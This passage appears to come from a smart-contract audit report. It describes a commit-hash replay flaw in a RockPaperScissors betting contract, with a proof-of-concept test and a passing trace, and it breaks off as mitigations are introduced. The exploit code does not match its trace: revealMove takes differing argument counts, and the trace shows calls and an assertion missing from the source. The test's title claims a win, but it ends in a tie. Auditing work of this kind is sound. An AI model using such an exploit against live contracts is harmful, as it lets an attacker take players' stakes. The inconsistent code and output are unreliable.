This opens the door for commit hash replay attacks, where an attacker copies a previously seen commit hash and uses it in a separate game to gain informational advantage, force ties, or manipulate outcomes.
function testReplayCommitHashToWinSecondGame() public {
bytes32 reusedSalt = keccak256("reused-salt");
bytes32 reusedCommit = keccak256(abi.encodePacked(uint8(1), reusedSalt));
uint256 game1 = createGame(playerA);
joinGame(attacker, game1);
commitMove(playerA, game1, reusedCommit);
commitMove(attacker, game1, keccak256(abi.encodePacked(uint8(2), keccak256("s2"))));
uint256 game2 = createGame(playerA);
joinGame(attacker, game2);
commitMove(attacker, game2, reusedCommit);
commitMove(playerA, game2, reusedCommit);
game.revealMove(game1, 1, reusedSalt);
game.revealMove(game2, 1, reusedSalt);
game.revealMove(playerA, game2, 1, reusedSalt);
}
The test passes and confirms the attacker can replay commits and predict future game outcomes given reused salts:
Ran 1 test for test/RockPaperScissorsReplay.t.sol:RockPaperScissorsReplayTest
[PASS] testReplayCommitHashToWinSecondGame() (gas: 692589)
Traces:
[692589] RockPaperScissorsReplayTest::testReplayCommitHashToWinSecondGame()
├─ [0] VM::prank(0x00000000000000000000000000000000000A11cE)
│ └─ ← [Return]
├─ [184325] RockPaperScissors::createGameWithEth{value: 50000000000000000}(1, 600)
│ ├─ emit GameCreated(gameId: 0, creator: 0x00000000000000000000000000000000000A11cE, bet: 50000000000000000 [5e16], totalTurns: 1)
│ └─ ← [Return] 0
├─ [0] VM::prank(0x0000000000000000000000000000000000000B0b)
│ └─ ← [Return]
├─ [24919] RockPaperScissors::joinGameWithEth{value: 50000000000000000}(0)
│ ├─ emit PlayerJoined(gameId: 0, player: 0x0000000000000000000000000000000000000B0b)
│ └─ ← [Return]
├─ [0] VM::prank(0x00000000000000000000000000000000000A11cE)
│ └─ ← [Return]
├─ [47751] RockPaperScissors::commitMove(0, 0x4a75f619df697d2fa8109e768f726f1dd5fae63371be9c1afc686a336c523c3e)
│ ├─ emit MoveCommitted(gameId: 0, player: 0x00000000000000000000000000000000000A11cE, currentTurn: 1)
│ └─ ← [Return]
├─ [0] VM::prank(0x0000000000000000000000000000000000000B0b)
│ └─ ← [Return]
├─ [46119] RockPaperScissors::commitMove(0, 0x5e0ecf6daeae0a7435b4f85aee71ae9a13519752c616254fa35044cbacffaabd)
│ ├─ emit MoveCommitted(gameId: 0, player: 0x0000000000000000000000000000000000000B0b, currentTurn: 1)
│ └─ ← [Return]
├─ [0] VM::prank(0x00000000000000000000000000000000000A11cE)
│ └─ ← [Return]
├─ [160425] RockPaperScissors::createGameWithEth{value: 50000000000000000}(1, 600)
│ ├─ emit GameCreated(gameId: 1, creator: 0x00000000000000000000000000000000000A11cE, bet: 50000000000000000 [5e16], totalTurns: 1)
│ └─ ← [Return] 1
├─ [0] VM::prank(0x0000000000000000000000000000000000000B0b)
│ └─ ← [Return]
├─ [24919] RockPaperScissors::joinGameWithEth{value: 50000000000000000}(1)
│ ├─ emit PlayerJoined(gameId: 1, player: 0x0000000000000000000000000000000000000B0b)
│ └─ ← [Return]
├─ [0] VM::prank(0x0000000000000000000000000000000000000B0b)
│ └─ ← [Return]
├─ [47768] RockPaperScissors::commitMove(1, 0x4a75f619df697d2fa8109e768f726f1dd5fae63371be9c1afc686a336c523c3e)
│ ├─ emit MoveCommitted(gameId: 1, player: 0x0000000000000000000000000000000000000B0b, currentTurn: 1)
│ └─ ← [Return]
├─ [0] VM::prank(0x00000000000000000000000000000000000A11cE)
│ └─ ← [Return]
├─ [46099] RockPaperScissors::commitMove(1, 0x4a75f619df697d2fa8109e768f726f1dd5fae63371be9c1afc686a336c523c3e)
│ ├─ emit MoveCommitted(gameId: 1, player: 0x00000000000000000000000000000000000A11cE, currentTurn: 1)
│ └─ ← [Return]
├─ [0] VM::prank(0x00000000000000000000000000000000000A11cE)
│ └─ ← [Return]
├─ [4375] RockPaperScissors::revealMove(0, 1, 0x1f35bd26b55027bd8d0a8e4b541e23294d5311f98d3c17dd46410fa832ad0acc)
│ ├─ emit MoveRevealed(gameId: 0, player: 0x00000000000000000000000000000000000A11cE, move: 1, currentTurn: 1)
│ └─ ← [Return]
├─ [0] VM::prank(0x0000000000000000000000000000000000000B0b)
│ └─ ← [Return]
├─ [4360] RockPaperScissors::revealMove(1, 1, 0x1f35bd26b55027bd8d0a8e4b541e23294d5311f98d3c17dd46410fa832ad0acc)
│ ├─ emit MoveRevealed(gameId: 1, player: 0x0000000000000000000000000000000000000B0b, move: 1, currentTurn: 1)
│ └─ ← [Return]
├─ [0] VM::prank(0x00000000000000000000000000000000000A11cE)
│ └─ ← [Return]
├─ [46865] RockPaperScissors::revealMove(1, 1, 0x1f35bd26b55027bd8d0a8e4b541e23294d5311f98d3c17dd46410fa832ad0acc)
│ ├─ emit MoveRevealed(gameId: 1, player: 0x00000000000000000000000000000000000A11cE, move: 1, currentTurn: 1)
│ ├─ emit TurnCompleted(gameId: 1, winner: 0x0000000000000000000000000000000000000000, currentTurn: 1)
│ ├─ emit FeeCollected(gameId: 1, feeAmount: 10000000000000000 [1e16])
│ ├─ [0] 0x00000000000000000000000000000000000A11cE::fallback{value: 45000000000000000}()
│ │ └─ ← [Stop]
│ ├─ [0] 0x0000000000000000000000000000000000000B0b::fallback{value: 45000000000000000}()
│ │ └─ ← [Stop]
│ ├─ emit GameFinished(gameId: 1, winner: 0x0000000000000000000000000000000000000000, prize: 0)
│ └─ ← [Return]
├─ [2060] RockPaperScissors::games(1) [staticcall]
│ └─ ← [Return] 0x00000000000000000000000000000000000A11cE, 0x0000000000000000000000000000000000000B0b, 50000000000000000 [5e16], 600, 601, 1, 86401 [8.64e4], 1, 1, 0x4a75f619df697d2fa8109e768f726f1dd5fae63371be9c1afc686a336c523c3e, 0x4a75f619df697d2fa8109e768f726f1dd5fae63371be9c1afc686a336c523c3e, 1, 1, 0, 0, 3
├─ [0] VM::assertEq(3, 3) [staticcall]
│ └─ ← [Return]
└─ ← [Return]
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 5.22ms (290.79µs CPU time)
Ran 1 test suite in 494.63ms (5.22ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
Attackers can weaponize this with scripts that watch games, record revealed salts, and pre-commit them in new games.
To prevent cross-game replay of commit hashes and ensure uniqueness per commitment, update the commitment structure to bind it to the game and the sender. There are two secure options depending on tradeoffs: